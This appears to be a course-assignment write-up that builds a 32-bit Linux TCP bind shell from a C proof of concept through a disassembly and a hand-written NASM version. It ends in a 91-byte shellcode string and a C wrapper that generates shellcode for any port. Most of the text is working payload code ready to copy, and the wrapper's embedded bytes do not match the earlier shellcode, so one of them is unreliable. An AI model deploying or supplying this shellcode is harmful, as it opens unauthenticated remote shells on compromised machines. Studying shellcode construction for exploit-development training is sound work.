Introduction
The aim of this assignment is to develop a working tcp bind shell for the 32bit Linux platform.
I will apply the following approach to achieve that goal:
- Identify suitable proof of concept code
- Reduce the POC to the essence of the required task
- Compile, test and disassemble the POC
- Re-write the POC in assembly
- Optimize shellcode
- Write shellcode wrapper that produces shellcode for any given bind port
- FINAL PRODUCT
1. Identify suitable proof of concept code
Whilst there are numerous bind shellcodes available on shell-storm.com or exploit.db, I decided to make it a worthwhile exercise to start from scratch to learn the reasoning behind some of the decisions taken in shellcode development.
As basis for my shellcode I picked a classic: bindshell.c from page 145 of the book “Programming Linux Hacker Tools Uncovered:…” by Ivan Sklyarov:
#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> int main(int argc, char *argv[]) { int sd, cli, port; struct sockaddr_in servaddr; port = 31337; daemon(1, 0); if (argc != 1) port = atoi(argv[1]); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = INADDR_ANY; servaddr.sin_port = htons(port); sd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (bind(sd, (struct sockaddr *)&servaddr, sizeof(servaddr))) perror("bind() failed"); listen(sd, 1); cli = accept(sd, NULL, 0); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execl("/bin/sh", "sh", NULL); }
The code works as advertised – It listens on port 31337 and spawns a shell when connected:
2. Reduce the POC to the essence of the required task
Anticipating the complexity of the dis-assembly, let’s reduce the code by cutting out the non-essential bits and, while we’re at it, let’s resolve the numeric constants to provide more clarity (as defined in sys/socket.h and netinet/in.h):
int main(void) { int sd, cli, port; char *servaddr = "\x02\x00" // Address family (AF_INET) "\x7A\x69" // port 31337 "\x00\x00\x00\x00" // INADDR_ANY "\x00\x00\x00\x00" "\x00\x00\x00\x00"; sd = socket(2, 1, 6); bind(sd, servaddr, 16); listen(sd, 1); cli = accept(sd, 0, 0); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execve("/bin/sh", 0, 0); return; }
Looks much better.
3. Compile, test and disassemble the POC
It still works:
Now, let’s look at the disassembly:
root@kali:~/git/slae-assignment1# objdump -d fin_bindshell -M intel fin_bindshell: file format elf32-i386 Disassembly of section .init: 08048394 : 8048394: 55 push ebp 8048395: 89 e5 mov ebp,esp 8048397: 53 push ebx 8048398: 83 ec 04 sub esp,0x4 804839b: e8 00 00 00 00 call 80483a0 <_init+0xc> 80483a0: 5b pop ebx 80483a1: 81 c3 d8 14 00 00 add ebx,0x14d8 80483a7: 8b 93 fc ff ff ff mov edx,DWORD PTR [ebx-0x4] 80483ad: 85 d2 test edx,edx 80483af: 74 05 je 80483b6 <_init+0x22> 80483b1: e8 4a 00 00 00 call 8048400 <__gmon_start__@plt> 80483b6: 58 pop eax 80483b7: 5b pop ebx 80483b8: c9 leave 80483b9: c3 ret Disassembly of section .plt: 080483c0 <dup2@plt-0x10>: 80483c0: ff 35 7c 98 04 08 push DWORD PTR ds:0x804987c 80483c6: ff 25 80 98 04 08 jmp DWORD PTR ds:0x8049880 80483cc: 00 00 add BYTE PTR [eax],al ... 080483d0 <dup2@plt>: 80483d0: ff 25 84 98 04 08 jmp DWORD PTR ds:0x8049884 80483d6: 68 00 00 00 00 push 0x0 80483db: e9 e0 ff ff ff jmp 80483c0 <_init+0x2c> 080483e0 <accept@plt>: 80483e0: ff 25 88 98 04 08 jmp DWORD PTR ds:0x8049888 80483e6: 68 08 00 00 00 push 0x8 80483eb: e9 d0 ff ff ff jmp 80483c0 <_init+0x2c> 080483f0 <daemon@plt>: 80483f0: ff 25 8c 98 04 08 jmp DWORD PTR ds:0x804988c 80483f6: 68 10 00 00 00 push 0x10 80483fb: e9 c0 ff ff ff jmp 80483c0 <_init+0x2c> 08048400 <__gmon_start__@plt>: 8048400: ff 25 90 98 04 08 jmp DWORD PTR ds:0x8049890 8048406: 68 18 00 00 00 push 0x18 804840b: e9 b0 ff ff ff jmp 80483c0 <_init+0x2c> 08048410 <__libc_start_main@plt>: 8048410: ff 25 94 98 04 08 jmp DWORD PTR ds:0x8049894 8048416: 68 20 00 00 00 push 0x20 804841b: e9 a0 ff ff ff jmp 80483c0 <_init+0x2c> 08048420 <execve@plt>: 8048420: ff 25 98 98 04 08 jmp DWORD PTR ds:0x8049898 8048426: 68 28 00 00 00 push 0x28 804842b: e9 90 ff ff ff jmp 80483c0 <_init+0x2c> 08048430 <bind@plt>: 8048430: ff 25 9c 98 04 08 jmp DWORD PTR ds:0x804989c 8048436: 68 30 00 00 00 push 0x30 804843b: e9 80 ff ff ff jmp 80483c0 <_init+0x2c> 08048440 <listen@plt>: 8048440: ff 25 a0 98 04 08 jmp DWORD PTR ds:0x80498a0 8048446: 68 38 00 00 00 push 0x38 804844b: e9 70 ff ff ff jmp 80483c0 <_init+0x2c> 08048450 <socket@plt>: 8048450: ff 25 a4 98 04 08 jmp DWORD PTR ds:0x80498a4 8048456: 68 40 00 00 00 push 0x40 804845b: e9 60 ff ff ff jmp 80483c0 <_init+0x2c> Disassembly of section .text: 08048460 : 8048460: 31 ed xor ebp,ebp 8048462: 5e pop esi 8048463: 89 e1 mov ecx,esp 8048465: 83 e4 f0 and esp,0xfffffff0 8048468: 50 push eax 8048469: 54 push esp 804846a: 52 push edx 804846b: 68 50 86 04 08 push 0x8048650 8048470: 68 60 86 04 08 push 0x8048660 8048475: 51 push ecx 8048476: 56 push esi 8048477: 68 4c 85 04 08 push 0x804854c 804847c: e8 8f ff ff ff call 8048410 <__libc_start_main@plt> 8048481: f4 hlt 8048482: 90 nop 8048483: 90 nop 8048484: 90 nop 8048485: 90 nop 8048486: 90 nop 8048487: 90 nop 8048488: 90 nop 8048489: 90 nop 804848a: 90 nop 804848b: 90 nop 804848c: 90 nop 804848d: 90 nop 804848e: 90 nop 804848f: 90 nop 08048490 : 8048490: b8 b3 98 04 08 mov eax,0x80498b3 8048495: 2d b0 98 04 08 sub eax,0x80498b0 804849a: 83 f8 06 cmp eax,0x6 804849d: 77 02 ja 80484a1 <deregister_tm_clones+0x11> 804849f: f3 c3 repz ret 80484a1: b8 00 00 00 00 mov eax,0x0 80484a6: 85 c0 test eax,eax 80484a8: 74 f5 je 804849f <deregister_tm_clones+0xf> 80484aa: 55 push ebp 80484ab: 89 e5 mov ebp,esp 80484ad: 83 ec 18 sub esp,0x18 80484b0: c7 04 24 b0 98 04 08 mov DWORD PTR [esp],0x80498b0 80484b7: ff d0 call eax 80484b9: c9 leave 80484ba: c3 ret 80484bb: 90 nop 80484bc: 8d 74 26 00 lea esi,[esi+eiz*1+0x0] 080484c0 : 80484c0: b8 b0 98 04 08 mov eax,0x80498b0 80484c5: 2d b0 98 04 08 sub eax,0x80498b0 80484ca: c1 f8 02 sar eax,0x2 80484cd: 89 c2 mov edx,eax 80484cf: c1 ea 1f shr edx,0x1f 80484d2: 01 d0 add eax,edx 80484d4: d1 f8 sar eax,1 80484d6: 75 02 jne 80484da <register_tm_clones+0x1a> 80484d8: f3 c3 repz ret 80484da: ba 00 00 00 00 mov edx,0x0 80484df: 85 d2 test edx,edx 80484e1: 74 f5 je 80484d8 <register_tm_clones+0x18> 80484e3: 55 push ebp 80484e4: 89 e5 mov ebp,esp 80484e6: 83 ec 18 sub esp,0x18 80484e9: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80484ed: c7 04 24 b0 98 04 08 mov DWORD PTR [esp],0x80498b0 80484f4: ff d2 call edx 80484f6: c9 leave 80484f7: c3 ret 80484f8: 90 nop 80484f9: 8d b4 26 00 00 00 00 lea esi,[esi+eiz*1+0x0] 08048500 : 8048500: 80 3d b0 98 04 08 00 cmp BYTE PTR ds:0x80498b0,0x0 8048507: 75 13 jne 804851c <__do_global_dtors_aux+0x1c> 8048509: 55 push ebp 804850a: 89 e5 mov ebp,esp 804850c: 83 ec 08 sub esp,0x8 804850f: e8 7c ff ff ff call 8048490 8048514: c6 05 b0 98 04 08 01 mov BYTE PTR ds:0x80498b0,0x1 804851b: c9 leave 804851c: f3 c3 repz ret 804851e: 66 90 xchg ax,ax 08048520 : 8048520: a1 80 97 04 08 mov eax,ds:0x8049780 8048525: 85 c0 test eax,eax 8048527: 74 1e je 8048547 <frame_dummy+0x27> 8048529: b8 00 00 00 00 mov eax,0x0 804852e: 85 c0 test eax,eax 8048530: 74 15 je 8048547 <frame_dummy+0x27> 8048532: 55 push ebp 8048533: 89 e5 mov ebp,esp 8048535: 83 ec 18 sub esp,0x18 8048538: c7 04 24 80 97 04 08 mov DWORD PTR [esp],0x8049780 804853f: ff d0 call eax 8048541: c9 leave 8048542: e9 79 ff ff ff jmp 80484c0 8048547: e9 74 ff ff ff jmp 80484c0 0804854c : 804854c: 55 push ebp 804854d: 89 e5 mov ebp,esp 804854f: 83 e4 f0 and esp,0xfffffff0 8048552: 83 ec 20 sub esp,0x20 8048555: c7 44 24 1c e0 86 04 mov DWORD PTR [esp+0x1c],0x80486e0 804855c: 08 804855d: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048564: 00 8048565: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1 804856c: e8 7f fe ff ff call 80483f0 <daemon@plt> 8048571: c7 44 24 08 06 00 00 mov DWORD PTR [esp+0x8],0x6 8048578: 00 8048579: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 8048580: 00 8048581: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2 8048588: e8 c3 fe ff ff call 8048450 <socket@plt> 804858d: 89 44 24 18 mov DWORD PTR [esp+0x18],eax 8048591: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10 8048598: 00 8048599: 8b 44 24 1c mov eax,DWORD PTR [esp+0x1c] 804859d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80485a1: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 80485a5: 89 04 24 mov DWORD PTR [esp],eax 80485a8: e8 83 fe ff ff call 8048430 <bind@plt> 80485ad: 85 c0 test eax,eax 80485af: 0f 85 8f 00 00 00 jne 8048644 <main+0xf8> 80485b5: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 80485bc: 00 80485bd: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 80485c1: 89 04 24 mov DWORD PTR [esp],eax 80485c4: e8 77 fe ff ff call 8048440 <listen@plt> 80485c9: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 80485d0: 00 80485d1: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 80485d8: 00 80485d9: 8b 44 24 18 mov eax,DWORD PTR [esp+0x18] 80485dd: 89 04 24 mov DWORD PTR [esp],eax 80485e0: e8 fb fd ff ff call 80483e0 <accept@plt> 80485e5: 89 44 24 14 mov DWORD PTR [esp+0x14],eax 80485e9: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 80485f0: 00 80485f1: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14] 80485f5: 89 04 24 mov DWORD PTR [esp],eax 80485f8: e8 d3 fd ff ff call 80483d0 <dup2@plt> 80485fd: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1 8048604: 00 8048605: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14] 8048609: 89 04 24 mov DWORD PTR [esp],eax 804860c: e8 bf fd ff ff call 80483d0 <dup2@plt> 8048611: c7 44 24 04 02 00 00 mov DWORD PTR [esp+0x4],0x2 8048618: 00 8048619: 8b 44 24 14 mov eax,DWORD PTR [esp+0x14] 804861d: 89 04 24 mov DWORD PTR [esp],eax 8048620: e8 ab fd ff ff call 80483d0 <dup2@plt> 8048625: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0 804862c: 00 804862d: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0 8048634: 00 8048635: c7 04 24 f1 86 04 08 mov DWORD PTR [esp],0x80486f1 804863c: e8 df fd ff ff call 8048420 <execve@plt> 8048641: 90 nop 8048642: eb 01 jmp 8048645 <main+0xf9> 8048644: 90 nop 8048645: c9 leave 8048646: c3 ret 8048647: 90 nop 8048648: 90 nop 8048649: 90 nop 804864a: 90 nop 804864b: 90 nop 804864c: 90 nop 804864d: 90 nop 804864e: 90 nop 804864f: 90 nop 08048650 : 8048650: 55 push ebp 8048651: 89 e5 mov ebp,esp 8048653: 5d pop ebp 8048654: c3 ret 8048655: 8d 74 26 00 lea esi,[esi+eiz*1+0x0] 8048659: 8d bc 27 00 00 00 00 lea edi,[edi+eiz*1+0x0] 08048660 : 8048660: 55 push ebp 8048661: 89 e5 mov ebp,esp 8048663: 57 push edi 8048664: 56 push esi 8048665: 53 push ebx 8048666: e8 4f 00 00 00 call 80486ba 804866b: 81 c3 0d 12 00 00 add ebx,0x120d 8048671: 83 ec 1c sub esp,0x1c 8048674: e8 1b fd ff ff call 8048394 8048679: 8d bb 04 ff ff ff lea edi,[ebx-0xfc] 804867f: 8d 83 00 ff ff ff lea eax,[ebx-0x100] 8048685: 29 c7 sub edi,eax 8048687: c1 ff 02 sar edi,0x2 804868a: 85 ff test edi,edi 804868c: 74 24 je 80486b2 <__libc_csu_init+0x52> 804868e: 31 f6 xor esi,esi 8048690: 8b 45 10 mov eax,DWORD PTR [ebp+0x10] 8048693: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 8048697: 8b 45 0c mov eax,DWORD PTR [ebp+0xc] 804869a: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 804869e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486a1: 89 04 24 mov DWORD PTR [esp],eax 80486a4: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100] 80486ab: 83 c6 01 add esi,0x1 80486ae: 39 fe cmp esi,edi 80486b0: 72 de jb 8048690 <__libc_csu_init+0x30> 80486b2: 83 c4 1c add esp,0x1c 80486b5: 5b pop ebx 80486b6: 5e pop esi 80486b7: 5f pop edi 80486b8: 5d pop ebp 80486b9: c3 ret 080486ba : 80486ba: 8b 1c 24 mov ebx,DWORD PTR [esp] 80486bd: c3 ret 80486be: 90 nop 80486bf: 90 nop Disassembly of section .fini: 080486c0 : 80486c0: 55 push ebp 80486c1: 89 e5 mov ebp,esp 80486c3: 53 push ebx 80486c4: 83 ec 04 sub esp,0x4 80486c7: e8 00 00 00 00 call 80486cc <_fini+0xc> 80486cc: 5b pop ebx 80486cd: 81 c3 ac 11 00 00 add ebx,0x11ac 80486d3: 59 pop ecx 80486d4: 5b pop ebx 80486d5: c9 leave 80486d6: c3 ret
4. Re-write the POC in assembly
The majority of the POC consists of dynamic library calls, which makes it unsuitable for our purpose (static linking would have resulted in thousands of lines of code). Instead of re-using the POC code I consider a re-write in assembly based on that code much more efficient.
Let’s list the individual components of this program and write them in assembly:
- Create a socket (line 11)
- Populate a sockaddr_in structure (lines 5-9) and bind the socket (line 12)
- Listen on our socket(line 13)
- Accept a connection on our socket(line 14)
- Move STDIN, STDOUT & STDERR to our socket (lines 15-17)
- Execute /bin/sh (line 18)
To write each of these system calls, I used the following resources:
- Linux man pages for each function describes the function and calling conventions
- The system call table identifies the relevant system call number to use (nicer displayed than in unistd_32.h of the local system)
- System call reference defines that the call number is placed in eax and the parameters are placed in ebx, ecx, edx, esx & edi in order
Let’s go ahead and tackle each portion of the program:
i. Create a socket
Syscall reference: Socket syscalls make use of only one syscall number: SYS_socketcall (0x66) which goes in %eax. The socket functions are identified via a subfunction numbers located in /usr/include/linux/net.h and are stored in %ebx. A pointer to the syscall args is stored in %ecx. Socket syscalls are also executed with int $0x80.
man 2 socketcall explains system call invocation: int socketcall(int call, unsigned long *args);
call determines which socket function to invoke (sub-function number) and is listed in net.h as
#define SYS_SOCKET 1 /* sys_socket(2) */ #define SYS_BIND 2 /* sys_bind(2) */ #define SYS_CONNECT 3 /* sys_connect(2) */ #define SYS_LISTEN 4 /* sys_listen(2) */ #define SYS_ACCEPT 5 /* sys_accept(2) */
man 2 socket lists the arguments pointed to by *args: int socket(int domain, int type, int protocol);
Lets put it together:
- We push the arguments onto the stack in reverse order
- We store 0x1 as sub-function number in bl (instead of ebx to avoid nulls)
- We store the address of the top of the stack (were the arguments start) in ecx
- We store the system call number for 102 in al (for SYS_socketcall)
- We execute int 0x80
- We copy the return value in eax to esi. That is the socket descriptor we’ll need later
; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) parameters push 0x6 ; IPPROTO_TCP push 0x1 ; SOCK_STREAM push 0x2 ; AF_INET xor ebx, ebx ; clear ebx mov bl, 0x1 ; store socket call identifier in bl xor ecx, ecx ; clear ecx mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store SYS_socketcall system call number in al int 0x80 ; execute system call mov esi, eax ; store the socket descriptor in esi
That’s all. The socket is ready for use.
ii. Bind the socket
Next we bind the newly created socket to an address and port using the same system call as above but with sub-function number “2”.
man 2 bind: int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
We basically repeat the first call with different arguments:
- We push the arguments onto the stack in reverse order
- We store 0x2 as sub-function number in bl
- We store the address of the top of the stack (were the arguments start) in ecx
- We store the system call number for 102 in al (for SYS_socketcall)
- We execute int 0x80
; push bind() parameters xor ebx, ebx ; clear ebx push ebx ; INADDR_ANY push word 0x697A; port push word 0x2 ; AF_INET mov ecx, esp ; store pointer to the structure in ecx push 0x10 ; sizeof(struct sockaddr_in) push ecx ; &serv_addr push esi ; our socket descriptor mov bl, 0x2 ; store bind call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store SYS_socketcall system call number in al int 0x80 ; execute system call
Done.
iii. Listen on the socket
man 2 listen: int listen(int sockfd, int backlog);
We basically repeat the previous socket call with our socket fd and a backlog of 1:
- We push the arguments onto the stack in reverse order
- We store 0x3 as sub-function number in bl
- We store the address of the top of the stack (were the arguments start) in ecx
- We store the system call number for 102 in al (for SYS_socketcall)
- We execute int 0x80
; push listen(sockfd=esi, backlog=1) parameters push 0x1 ; backlog push esi ; sockfd xor ebx, ebx ; clear ebx mov bl, 0x4 ; store listen call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store SYS_socketcall system call number in al int 0x80 ; execute system call
Perfect.
iv. Accept incoming connections
man 2 accept: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
We can leave the sockaddr and socklen_t empty. They are not required for our purpose.
We basically repeat the previous socket call with our socket fd and a backlog of 1:
- We push the arguments onto the stack in reverse order
- We store 0x3 as sub-function number in bl
- We store the address of the top of the stack (were the arguments start) in ecx
- We store the system call number for 102 in al (for SYS_socketcall)
- We execute int 0x80
- We copy the return value in eax to ebx for the next syscall. That is the socket descriptor of our connection
xor ebx, ebx ; clear ebx push ebx ; null addrlen push ebx ; null sockaddr push esi ; sockfd mov bl, 0x5 ; store accept call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store SYS_socketcall system call number in al int 0x80 ; execute system call mov ebx, eax ; store the new socket file descriptor in ebx for dup2
Done.
v. Move STDIN, STDOUT & STDERR to our socket
Syscall reference: dup2 has a system call number 0x3F
man 2 dup2: int dup2(int oldfd, int newfd);
This time we already have the sockfd in ebx, we only place the old fd in ecx and execute syscall:
; dup2(sockfd, 0); xor eax, eax ; clear eax mov al, 0x3f ; store sys_dup2 system call number in al xor ecx, ecx ; put 0 in ecx int 0x80 ; execute system call ; dup2(sockfd, 1); xor eax, eax ; clear eax mov al, 0x3f ; store sys_dup2 system call number in al inc ecx ; set ecx to 1 int 0x80 ; execute system call ; dup2(sockfd, 2); xor eax, eax ; clear eax mov al, 0x3f ; store sys_dup2 system call number in al inc ecx ; set ecx to 2 int 0x80 ; execute system call
Awesome.
vi. Execute /bin/sh via execve
Syscall reference: execve has a system call number 0xB
man 2 execve: int execve(const char *filename, char *const argv[],char *const envp[])
We are going to push a null terminated /bin/sh onto the stack and esp becomes both our pointer to the file name as well as our pointer to argv. We can terminate argv with a null and put a null for envp.
Once done we can put 11 in al and execute int 0x80.
; execve(*esp, [*esp, NULL], NULL); xor eax, eax ; clear eax push eax ; push NULL termination push 0x68732f2f ; //sh (we can add a slash to make it four non 0x0 bytes) push 0x6e69622f ; /bin mov ebx, esp ; store address of /bin/sh push eax ; push NULL termination push ebx ; push pointer to /bin/sh mov ecx, esp ; store pointer to arguments in ecx push eax ; push NULL termination mov edx, esp ; store pointer to empty envp array in edx mov al, 0xb ; store execve system call number in al int 0x80 ; execute system call
Thats it.
Below is the 126 byte shellcode for port 31337.
; Filename: 126bindshell.nasm ; Author: Re4son re4son [at] whitedome.com.au ; Website: http://www.whitedome.com.au/re4son ; ; Purpose: Spawn a bind shell on port 31337 global _start section .text _start: ; socket ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) parameters push 0x6 ; IPPROTO_TCP push 0x1 ; SOCK_STREAM push 0x2 ; AF_INET xor ebx, ebx ; clear ebx mov bl, 0x1 ; store socket call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store sys_socketcall system call number in al int 0x80 ; execute system call mov esi, eax ; store the socket file descriptor in esi ; bind ; push bind() parameters xor ebx, ebx ; clear ebx push ebx ; INADDR_ANY push word 0x697A; port push word 0x2 ; AF_INET mov ecx, esp ; store pointer to the structure in ecx push 0x10 ; sizeof(struct sockaddr_in) push ecx ; &serv_addr push esi ; our socket descriptor mov bl, 0x2 ; store bind call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store sys_socketcall system call number in al int 0x80 ; execute system call ; listen ; push listen(sockfd=esi, backlog=1) parameters push 0x1 ; backlog push esi ; sockfd xor ebx, ebx ; clear ebx mov bl, 0x4 ; store listen call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store sys_socketcall system call number in al int 0x80 ; execute system call ; accept ; push accept(sockfd, NULL, NULL) parameters xor ebx, ebx ; clear ebx push ebx ; NULL addrlen push ebx ; NULL sockaddr push esi ; sockfd mov bl, 0x5 ; store accept call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call xor eax, eax ; clear eax mov al, 0x66 ; store sys_socketcall system call number in al int 0x80 ; execute system call mov ebx, eax ; store the new socket file descriptor in ebx for dup2 ; Move STDIN, STDOUT & STDERR to our new socket ; dup2(sockfd, 0); xor eax, eax ; clear eax mov al, 0x3f ; store sys_dup2 system call number in al xor ecx, ecx ; put 0 in ecx int 0x80 ; execute system call ; dup2(sockfd, 1); xor eax, eax ; clear eax mov al, 0x3f ; store sys_dup2 system call number in al inc ecx ; set ecx to 1 int 0x80 ; execute system call ; dup2(sockfd, 2); xor eax, eax ; clear eax mov al, 0x3f ; store sys_dup2 system call number in al inc ecx ; set ecx to 2 int 0x80 ; execute system call ; execute /bin/sh ; execve(*esp, [*esp, NULL], NULL); xor eax, eax ; clear eax push eax ; push NULL termination push 0x68732f2f ; //sh (we can add a slash to make it four non 0x0 bytes) push 0x6e69622f ; /bin mov ebx, esp ; store address of /bin/sh push eax ; push NULL termination push ebx ; push pointer to /bin/sh mov ecx, esp ; store pointer to arguments in ecx push eax ; push NULL termination mov edx, esp ; store pointer to empty envp array in edx mov al, 0xb ; store execve system call number in al int 0x80 ; execute system call
5. Optimize shellcode
We optimized it along the way but after rearranging a few instructions, re-using register states and bastardizing the execve call I managed to get it down to 91 bytes:
; Filename: bindshell.nasm ; Author: Re4son re4son [at] whitedome.com.au ; Website: http://www.whitedome.com.au/re4son ; ; Purpose: Spawn a bind shell on port 31337 ; 91 bytes global _start section .text _start: ; --- socket --- xor ebx, ebx ; clear ebx mul ebx ; clear eax and edx mov bl, 0x1 ; store socket call identifier in bl ; push socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) parameters push 0x6 push ebx push 0x2 mov ecx, esp ; store pointer to arguments in ecx ; issue system call mov al, 0x66 ; store sys_socketcall system call number in al mov edi, eax ; copy away for later re-use int 0x80 ; execute system call xchg esi, eax ; store the socket file descriptor in esi, optimized way ; --- bind --- inc ebx ; increase the sub call function number to 2 for bind ; push bind() parameters push edx ; INADDR_ANY push word 0x697A ; port push word bx ; AF_INET mov ecx, esp ; store pointer to the structure in ecx push 0x10 ; sizeof(struct sockaddr_in) push ecx ; &serv_addr push esi ; our socket descriptor mov ecx, esp ; store pointer to arguments in ecx ; issue system call mov eax, edi ; store sys_socketcall system call number in eax int 0x80 ; execute system call ; --- listen --- ; push listen(sockfd=esi, backlog=0) parameters push edx ; backlog push esi ; sockfd mov bl, 0x4 ; store listen call identifier in bl mov ecx, esp ; store pointer to arguments in ecx ; issue system call mov eax, edi ; store sys_socketcall system call number in eax int 0x80 ; execute system call ; accept ; push accept(sockfd, NULL, NULL) parameters push edx ; NULL addrlen push edx ; NULL sockaddr push esi ; sockfd inc ebx ; increase sub function number in bl to 5 mov ecx, esp ; store pointer to arguments in ecx ; issue system call mov eax, edi ; store sys_socketcall system call number in eax int 0x80 ; execute system call xchg ebx, eax ; store the new socket file descriptor in ebx for dup2 ; Move STDIN, STDOUT & STDERR to our new socket xor ecx, ecx ; clear ecx mov cl, 0x2 ; loop counter loop: mov al, 0x3f ; store sys_dup2 system call number in al int 0x80 ; execute system call dec ecx jns loop ; execute /bin/sh ; execve("/bin/sh", 0, 0); mov ecx, edx ; clear ecx push edx ; push NULL termination push 0x68732f2f ; //sh (we can add a slash to make it four non NULL bytes) push 0x6e69622f ; /bin mov ebx, esp ; store address of /bin/sh mov al, 0xb ; store execve system call number in al int 0x80 ; execute system call
Perfect.
Lets assemble it and get the shellcode via objdump:
root@kali:~/git/slae-assignment1# ./shell-compile.sh bindshell [+] Assembling bindshell.nasm with "nasm -f elf32 -o bindshell.o bindshell.nasm" [+] Linking bindshell.o with "ld -N -o bindshell bindshell.o" [+] Generating shellcode via objdump and sed ... [+] 91 bytes shellcode generated: "\x31\xdb\xf7\xe3\xb3\x01\x6a\x06\x53\x6a\x02\x89\xe1\xb0\x66\x89\xc7\xcd\x80\x96\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x89\xf8\xcd\x80\x52\x56\xb3\x04\x89\xe1\x89\xf8\xcd\x80\x52\x52\x56\x43\x89\xe1\x89\xf8\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
Voila.
6. Wrapper
The listening port is currently hard-coded in the shellcode.
Why don’t we write a c program that substitutes the port number in the shell code with a given command line argument, i.e. the command “make-bindshell 4444” will create a shellcode that listens on port 4444.
According to objdump, our instruction “push word 0x697A” has the obcode “66 68 7a 69” of which “7a 69” is the port.
Let’s go ahead and write a c program to substitute that string with any given port number:
/****************************************************************** * make-bindshell -- Program to generate bind shellcode * * Author : Re4son re4son [ at ] whitedome.com.au * Purpose : generates bind shell code with port given as argument * Usage : make-bindshell ******************************************************************/ #include <stdio.h> #include <string.h> int main( int argc, char *argv[] ) { unsigned int port; unsigned char low,high; char cmdArg[6]; int i; if (argc > 1 && strlen(argv[1]) <=5){ strcpy(cmdArg, argv[1]); // Make sure that the argument contains nothing but digits for (i = 0; i < strlen(cmdArg); i++){ if (!isdigit(cmdArg[i])){ printf("Port must be a number\n"); printf("Usage: %s \n", argv[0] ); return 1; } } // Convert argument from C string to integer port = atoi(cmdArg); high = port >> 8; low = (port << 8) >> 8; } else { printf("Usage: %s \n", argv[0] ); return 1; } printf( "Shellcode length : 91 bytes\n" "Bind port (%05d): \\x%02x\\x%02x (Check for bad chars)\n\n" "\"\\x31\\xdb\\xf7\\xe3\\xb3\\x01\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\xb0\"\n" "\"\\x66\\x89\\xc7\\xcd\\x80\\x96\\x43\\x52\\x66\\x68\\x%02x\\x%02x\\x66\\x53\"\n" "\"\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x56\"\n" "\"\\xb3\\x04\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\"\n" "\"\\x97\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\"\n" "\"\\xf9\\x92\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\"\n" "\"\\xe3\\x50\\x53\\x89\\xe1\\x50\\x89\\xe2\\xb0\\x0b\\xcd\\x80\";\n\n", port, high, low, high, low); return 0; }
[/class]
Finished.
Let’s try it out. Run make-bindshell 31340, copy & paste the shellcode into shellcode.c and run ./shellcode and connect to it:
